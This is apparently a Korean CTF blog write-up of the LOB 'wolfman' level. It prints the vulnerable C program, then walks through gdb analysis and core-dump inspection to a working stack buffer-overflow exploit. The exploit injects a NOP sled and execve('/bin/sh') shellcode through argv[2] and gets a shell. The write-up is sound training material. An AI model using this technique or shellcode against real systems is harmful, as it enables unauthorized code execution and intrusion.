/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter 
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

이번문제와 전 문제를 비교하면 memset() 함수를 이용해 buffer에 있는 내용 40bytes 를 0으로 초기화 하는 것이 생겼다. 이전 문제에서 필자는 argv[2] 인자를 이용해서 문제를 풀었기 때문에 memset() 함수로 인해 문제 푸는데는 지장이 없다.

 

공격 시나리오는 다음과 같다.

1. argv[2]의 주소를 찾는다.

2. argv[2]에 NOP와 Shellcode를 삽입한다.

3. RET에 argv[2]의 주소를 overwrite 한다.

4. 에러가 날 경우 core 파일을 gdb로 분석하여 올바른 argv[2] 주소를 찾아 다시 공격 시도를 한다.

 

 

wolfman 바이너리를 분석하기 위해 잠시 copy 파일을 만든 뒤 gdb로 분석한다.

[orc@localhost orc]$ gdb -q wolfman_copy 
(gdb)

 

argv[2]의 주소를 찾기 위해 argv[1]의 주소를 찾아서 그 주소의 주변 값을 보면서 argv[2]의 주소를 추측한다.

우선 strcpy에서 main+184 주소가 argv[1]의 주소를 PUSH 하는 명령어 이기 때문에 main+185 에서 breakpoint를 걸어준다.

(gdb) disas main
...
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   lea    0xffffffd8(%ebp),%eax
0x80485bc <main+188>:   push   %eax
0x80485bd <main+189>:   call   0x8048440 <strcpy>
0x80485c2 <main+194>:   add    $0x8,%esp
0x80485c5 <main+197>:   lea    0xffffffd8(%ebp),%eax
0x80485c8 <main+200>:   push   %eax
...
(gdb) b *main+185
Breakpoint 1 at 0x80485b9
(gdb) 

 

r 명령어에서 argv[1] 값은 A가 47에서 \xbf 값과 argv[2]에서는 BBBB 값을 준 뒤 실행을 해보자.

(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB                                         
Starting program: /home/orc/wolfman_copy `python -c 'print "A"*47+"\xbf"'` BBBB

Breakpoint 1, 0x80485b9 in main ()

 

스택을 확인하기 위해 x/wx $esp 명령어로 main+185로 인해 스택에 넣어진 argv[1]의 주소를 확인한다.

0xbffffdd9 라는 주소가 나오는데, x/50wx 0xbffffdd9 라는 명령어로 0xbffffdd9에서 4bytes 만큼 50개를 출력하라고 입력하면 아래와 같이 값들이 출력 된 것을 볼 수 있다. B의 hex 값은 42 이므로 argv[2] 주소는 0xbffffe0a 인 것을 알 수 있다.

(gdb) x/wx $esp
0xbffffc48:     0xbffffdd9
(gdb) x/50wx 0xbffffdd9
0xbffffdd9:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde9:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdf9:     0x41414141      0x41414141      0x41414141      0xbf414141
0xbffffe09:     0x42424200      0x00000042      0x00000000      0x00000000
0xbffffe19:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe29:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe39:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe49:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe59:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe69:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe79:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe89:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe99:     0x00000000      0x00000000

 

argv[2] 주소를 찾았으니, 위에서 말했던 공격 시나리오대로 공격을 진행해 보겠다. 역시나 에러가 출력이 되었다. 올바른 argv[2]의 주소를 찾기 위해 core 파일을 gdb로 까보자.

[orc@localhost orc]$ ./wolfman_copy `python -c 'print "A"*44+"\x0a\xfe\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[orc@localhost orc]$

 

x/150wx $esp 명령어로 스택에 4bytes 만큼 150개를 출력하는 명령어를 입력하여 argv[2]의 주소를 찾아본다.

0xbffffd88 부터 \x90 인 NOP Sled가 입력 된 것을 볼 수 있다. 안전하게 필자는 0xbffffda8 주소를 argv[2] 주소로 사용하여 공격을 진행해 보겠다.

[orc@localhost orc]$ gdb -c core -q
Core was generated by `./wolfman_copy AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  '.
Program terminated with signal 11, Segmentation fault.
#0  0x40030942 in ?? ()
(gdb) x/100wx $esp
...
0xbffffd58:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd68:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd78:     0x41414141      0x41414141      0x00414141      0x00bffffe
0xbffffd88:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffda8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdb8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdc8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdd8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffde8:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffffdf8:     0x50e3896e      0x89e18953      0xcd0bb0c2      0x00000080
...

 

RET 주소를 수정하니 아래와 같이 shell을 획득한 것을 볼 수 있다.

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\xa8\xfd\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
wolfman
bash$ my-pass
euid = 505
love eyuna
bash$ 

 

'CTF > LOB' 카테고리의 다른 글

[LOB] - darkelf -> orge 풀이  (0) 2019.10.05
[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04
[LOB] - cobolt -> goblin 풀이  (0) 2019.10.04
[LOB] - gremlin -> cobolt 풀이  (0) 2019.10.04